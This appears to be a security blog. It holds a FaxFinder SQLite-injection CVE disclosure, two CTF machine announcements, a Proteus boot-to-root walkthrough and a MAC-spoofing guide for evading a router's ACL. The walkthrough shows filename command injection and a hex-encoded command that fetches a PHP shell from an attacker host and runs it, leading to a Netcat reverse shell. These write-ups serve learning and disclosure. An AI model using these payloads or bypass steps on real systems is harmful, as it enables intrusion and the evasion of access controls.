CVE-2018-17562 – FaxFinder < SQLite Injection Vulnerability

Hi everyone,

Today, I am going to be writing a PoC for a new CVE I found for versions of FaxFinder and older that can be exploited with SQLite Injection. I have reported this flaw to the vendor and they have fixed this issue with the new release of FaxFinder version 5.1.6. This post is going to be used as the official source used to accredit CVE-2018-17562. I will also include the conversation thread I had with MultiTech when reporting this flaw.

CVE Founder: Max Segura
Vendor: Multitech
Software: FaxFinder
Version: and older
Vulnerability: SQLite Injection
Reported: 11-22-17
Fixed: 9-25-18


This vulnerability allows a remote or unauthenticated attacker to exploit an existing SQLite Injection vulnerability that lies under versions FaxFinder and older. In order for this injection to work, a valid OID is needed for the injection. Upon exploitation, the attacker will gain access to the underlying database schema. The information on this post is intended to promote security awareness. Do not use this information to intentionally abuse a private computer system. You are responsible for your own actions; hacking is unlawful!

Proof of Concept

This section will contain step-by-step instructions on how to exploit this flaw. First, to prove that this flaw can be exploited by an unauthenticated user, let’s take a look at FaxFinder login page in either In-private Browsing or Incognito Mode.

Once the affected version has been identified, the next step would be to obtain a valid OID number from the fax server so we have an injection point. For example, take a look at the URL below:

The above image demonstrates that any user can enumerate the fax server for valid information. This can be done with ease through automated scripting. Now that we have a starting point, we can expose the flaw by tampering with the syntax used by the software. Inserting an ‘ (apostrophe) usually breaks the code’s syntax.

This is indicative of that the application can be exploited. The attack vector has been concealed to prevent unauthorized exploitation. If you need the attack vector to test your own systems, I may be able to disclose it privately.

The following information was extracted:

CREATE TABLE call_entry( oid INTEGER PRIMARY KEY, timestamp TEXT DEFAULT CURRENT_TIMESTAMP, rcpt_fax TEXT NOT NULL, direction TEXT NOT NULL, entrykey TEXT, remote_id TEXT NOT NULL, status TEXT NOT NULL, modem_nr INTEGER, size INTEGER, pages INTEGER, resolution TEXT NOT NULL, baud_rate TEXT NOT NULL, width TEXT NOT NULL, height TEXT NOT NULL, data_compression TEXT NOT NULL, error_correction TEXT NOT NULL, init_time TEXT NOT NULL, off_hook_time TEXT NOT NULL, connect_time TEXT NOT NULL, elapsed_time INTEGER, scan_line_time INTEGER, modem_trace_log TEXT, all_dtmf_digits TEXT NOT NULL )

This vector can be modified to inject other versions of FaxFinder up to the penultimate release of Please upgrade to version 5.1.6 to patch this flaw.

Reporting Time Table

Here you can find my dialog with MultiTech to fix this vulnerability. This flaw was recognized in version and the zero day was patched on 9-25-18.

As always, thanks for reading!


The Ether – A New Boot 2 Root Hacking Challenge


Lately, I’ve been enjoying creating hacking challenges for the security community. This new challenge encapsulates a company, entitled – The Ether, who has proclaimed an elixir that considerably alters human welfare. The CDC has become suspicious of this group due to the nature of the product they are developing.

The Goal

The goal is to find out what The Ether is up to. You will be required to break into their server, root the machine, and retrieve the flag. The flag will contain more information about The Ether’s ominous operations regarding this medicine.

Any Hints?

This challenge is not for beginners. There is a relevant file on this machine that plays an important role in the challenge, do not waste your time trying to de-obfuscate the file, I say this to keep you on track. This challenge is designed test you on multiple areas and it’s not for the feint of heart!

Last Words

Whatever you do, do not give up! Exhaust all of your options! Looking forward to have OSCPs take this challenge. As always, good luck, have fun, God bless, and may the s0urce be with you.


New H.A.S.T.E Hacking Challenge

Hi, from the other side of the wire!

On this post, I want to highlight a new VM that I made to accentuate web application vulnerabilities. This vulnerable-by-design box depicts a hacking company known as H.A.S.T.E, or Hackers Attack Specific Targets Expeditiously, capable of bringing down any domains on their hit list.

I would like to classify this challenge with medium difficulty, requiring some trial and error before a successful takeover can be attained. You don’t have to root this machine to complete the challenge! All you have to do is get some sort of shell on it.

The H.A.S.T.E VM can be downloaded with the link below:

You will need VMWare Player to virtualize the VMX.

If you enjoy web application flaws, you should have fun with this challenge. Let me know how it goes and feedback is always welcomed! Looking forward to solutions.

f1re_w1re, out.

EDIT: I’ve been very pleased with the amount of people attempting to solve this challenge. By far I’ve had 3 successfull researchers. The first was MrMxyzptlk, then Dweezy, and finally Amonsec with the fantatic walkthrough. I will be developing other VM’s that are a bit more complex to challege the security community. Thank you all for playing!

The Proteus Challenge


Hi, yet again, World Wide Web. Lately, I’ve been looking for boot to root challenges that haven’t been documented online. Recently, I found one on Vulnhub entitled “Proteus” that did not have any walkthroughs. So with that statement, I present you with the solution to the Proteus challenge. This thread will touch upon the following concepts:

  • Basic Linux Commands
  • Basic Linux System Files
  • HEX and ASCII Conversions

The pseudo scenario of this challenge pertains to an IT company that is implementing a malware analysis tool that scans potentially malicious files. It uses the strings and objdump commands to find more information about a file. The target IP is and the attacking machine

System Discovery

When I first discovered the Proteus’ IP address, the TCP scan I fired did not reveal anything too sensitive, showing only Apache and SSH broadcasting. Before I dove my web browser to the web page, I probed the SSH service only to find out that password based-authentication was not being used. This meant that brute forcing this service was out of the question due to the use of public key authentication by the Proteus box.

When I visited the web page, I was presented with the following depiction of the site.

I decided to investigate the malware analysis tool by this fictional company. One thing that caught my attention was the need to upload certain file types. The allowed MIME types were: application/x-executable, application/x-sharedlib. I decided to play along and see what happens. I made a really quick C program to upload.

int main()
printf("exec test");

The proceeding screen outputted the results for strings and objdump after I uploaded the file.

When I first saw this, my initial thought of exploitation was to either exploit the output of strings or objdump, or there was some sort of buffer overflow I had to abuse. Although a buffer overflow seems possible (based on the extensive testing done), I am not adept in binary exploitation, however, I did manage to get RCE.

Let’s face it, black-box-testing is difficult and one always has to speculate on the backend code. Any user input should be considered malicious, and I knew that the file I was uploading can be tampered with. If we are lucky, we should be able to mess around the naming structure and see if the statement used to get the malware samples on the page can also by taking advantage of.

Remote Code Execution

RCE is one of the most complex flaws to exploit because they are difficult to spot. On this challenge, I was able to execute arbitrary code and shell this box in a very peculiar way.

Going back to the Proteus home page, I decided to upload another malware sample but this time, catch the request on BURP and modify it. The end request looked as such:

Content-Disposition: form-data; name="file"; filename="test.exe;ls -la"

I let the request fly and the following page looked promising.

I was pleased to see this and my mind quickly formulated the next steps to gain access. Before I proceeded with anything premeditated, I was curious to see what was under /tmp. So crafted the following request:

Content-Disposition: form-data; name="file"; filename="test.exe;ls -la /tmp"

To my amazement, there was no output on the sample page. This confused me. I spend most of my time trying to figure out how to write files to other places in the system. There were 2 big problems I encountered.

1. Document root, and child folders, were not writeable.
2. I could not list anything outside of the document root.

Having RCE is great, however, if it cannot be used to gain access, it does not serve us much purpose. After 20 minutes of testing and critical thinking, I could only come up with one answer: input sanitation.

Bypassing RCE Restrictions

I can only assume that my forward slashes (/) were being escaped, or dropped, or replaced. So I had to come up with another method of getting shell without my command having a “/” in the payload. This challenge made me think, but I did manage to figure it out through several Linux pipes. Below is the workflow I tried to follow to successfully carry the attack.

1. Getting the shell script, putting it in /tmp, and executing it.
This got done by using: wget -O /tmp/shell.txt; php -f /tmp/shell.txt

2. Bypassing the “/” filter.
I encoded the above command in HEX then decoded it with xxd, like so: echo 7767657420687474703a2f2f3139322e3136382e302e31372f7368656c6c2e747874202d4f202f746d702f7368656c6c2e7478743b20706870202d66202f746d702f7368656c6c2e747874 | xxd -r -p

3. Executing the decoded string (putting it all together).
echo 7767657420687474703a2f2f3139322e3136382e302e31372f7368656c6c2e747874202d4f202f746d702f7368656c6c2e7478743b20706870202d66202f746d702f7368656c6c2e747874 | xxd -r -p | xargs -0 bash -c

Getting a Shell!

The end request appears as shown:

A local Netcat listener was set and shortly after saluted me with a shell access to the box:

After some digging, I found useful files and links. The first thing I learned was that the server’s document root was a symbolic link to the home directory of the malwareadm user. The group file revealed an interesting detail.


The malwareadm user was part of some groups but most importantly part of the sudo group.

Capturing the Flag

After some recon, I found the following files that helped me through solving this challenge.

cat /home/malwareadm/sites/proteus_site/web/cfg/config.php


class Conf

    /* MySQL */
    const MYSQL_USERNAME    =   'root';
    const MYSQL_PASSWORD    =   'viWJ.cgdf&3a]d3xh;C/c]&c?';
    const MYSQL_HOST        =   '';
    const MYSQL_DATABASE    =   'proteus_db';

    /* Application */
    const DEBUG                 =   false; 	                    //true/false
    const INSTALLED_DIRECTORY   =   '/';                        //something
    const MAIL_ALIAS		    =	'malwareadm@proteus.local';	//Something like
    const SECRET                =   'thisisthesecret';          //This is the secret to salt the hashes
    const FILE_PATH             =   '/home/malwareadm/samples/'; //This is the file path of where the execs will be saved

cat /home/malwareadm/sites/proteus_site/admin_login_request.js


var username  = 'malwareadm';
var pwd = 'q-L%40X%21%7Bl_%278%7C%29o%3FQ%2BTapahQ%3C_';

var webPage = require('webpage');
var page = webPage.create();
var postBody = 'username=' + username + '&password=' + pwd;'', 'post', postBody, function (status) {
	if (status !== 'success') {
		console.log('Unable to post!');
	} else {
			cookies: phantom.cookies

These files revealed very crucial information to complete the challenge. These 2 files show the root password and also the malwareadm user password URL-encoded, decoded being “q-L@X!{l_’8|)o?Q+TapahQ<_”. It also shows the salt used for the password which can be used for cracking (not my cup of tea for this challenge). At this point, all we have to do is switch to the malwareadm user. I was having issues changing my shell from sh, so I used Python to get a bash shell to complete this transition.

The flag is actually a picture.

This completes the challenge, very humorously.


To end things, this is probably the easiest way to complete this box. I am convinced there are other methods to obtain the flag. I noticed one of the files that I had access to have the SETUID bit enabled, I am sure exploiting this binary is another way to get the flag. Additionally, we have database access. We can potentially escalate privileges through a malicious UDF. Brute forcing local accounts can also be another method of solving this machine. As far as I can see, there are different routes to complete this challenge. I am looking forward to explore and publish other ways to complete this when I have more time.

Nonetheless, I really enjoyed every bit of this challenge and I’m looking forward to other ones! I hope you enjoyed reading my ramblings.

Happy hacking!

Bypassing Router’s Access Control List (ACL)


Today I will be discussing a very simple concept to get around Access Control Lists using Ubuntu, although it is also possible though Windows. ACLs can be used to enforce network security by limiting portions of your network devices can access or even limit access to the internet. They are put in place to seclude hosts from certain parts of your enterprise or from accessing private infrastructures.

Modern home routers (or modem/router combos) include a basic Access Control feature to prevent users accessing the web. Depending on the router, time and dates can be configured to prevent devices from using the internet.

The following sections will cover:

  • Understanding The Router’s ACL Logic
  • Enabling ACL On The Router
  • Changing Interface MAC Address
  • Conclusion

Understanding The Router’s ACL Logic

Before we continue in discussing how to bypass ACLs on your home network, it is important to understand how the technologies in play function. This will provide us with more insight to why what we are doing works.

An Access Control List blocks devices based on their IP address. Router’s are considered layer 3 devices, meaning that they handle IP packets and pass it down to other layers for processing through encapsulation. Your home router keeps an ARP table that associates every IP address with its corresponding MAC address. When a request is being made from a device that has been blocked, the router inspects the packets and analyses the source IP address. If the source IP address match what is on its ACL, then the traffic is blocked.

When new devices join a network, and the MAC address is not associated with any IP address, the new machine is given an unused IP address. It is to say, that changing your MAC address will allow DHCP to provide your interface with a new IP address, therefore circumventing the applied restrictions.

Enabling ACL On The Router

Many routers have unique builds. Enabling Access Controls may differ from router to router but the concept behind them are similar. The device that will be blocked for demonstration purposes owns the IP address

Enabling Access Control

Once this restriction is put in place, browsing the web will not be possible:

ACL in effect

ACL in effect

Changing Interface MAC Address

Changing your interface’s MAC address is very simple. I will be using a utility called MacChanger to spoof my MAC address. Please keep in mind that you can use built-in tools such as ‘ip’ and ‘ifconfig’ to change your MAC address. In Windows, you will need to change your adapter’s configuration. The changes that you make to your burned-in address will not persist across reboots.

It is always good practice to take note of your current MAC address just in case it is needed for another time. The following steps will guide you in installing MacChanger, obtaining your interface’s MAC address, brining your interface down, changing your MAC address, then brining your interface up to obtain a new IP address.

You can install MacChanger with the given command below:

sudo apt-get install macchanger

The following image displays our interface’s status (UP), IP address, and MAC address:

ifconfig wlan0
macchanger --show wlan0
ip a | grep wlan0

interface details

You will need to bring your interface down before you can proceed in acquiring a new MAC address.

ifconfig wlan0 down

After that is done, we can continue. I will be changing my MAC from “74:e5:43:30:78:a7” to “74:e5:43:30:78:a1”:

macchanger -m 74:e5:43:30:78:a1
ifconfig wlan0
ifconfig wlan0 up

Changing MAC address

It is important to keep in mind that brining your interface UP while it has a the old IP address with the new MAC address will cause conflict in your home network. In turn, you will be disconnected from the access point. Make sure that you are disabling and enabling your wireless after bringing your interface UP. This will allow the router to provide you an unused IP address for the new MAC address when you are re-authenticated to your wireless access point.

At this time, the new IP address is We can confirm that the ACL in place for our device has been evaded:

ACL bypassed


Overall, understanding the conventions that rule your devices can be a powerful instrument. To recapitulate, bypassing your home router’s ACL can be accomplished by changing your MAC address in order to obtain a new IP address.

Hopefully everyone was able to take something with them after reading. If you would like any type of topic to be covered, do not hesitate to ask.

Happy hacking!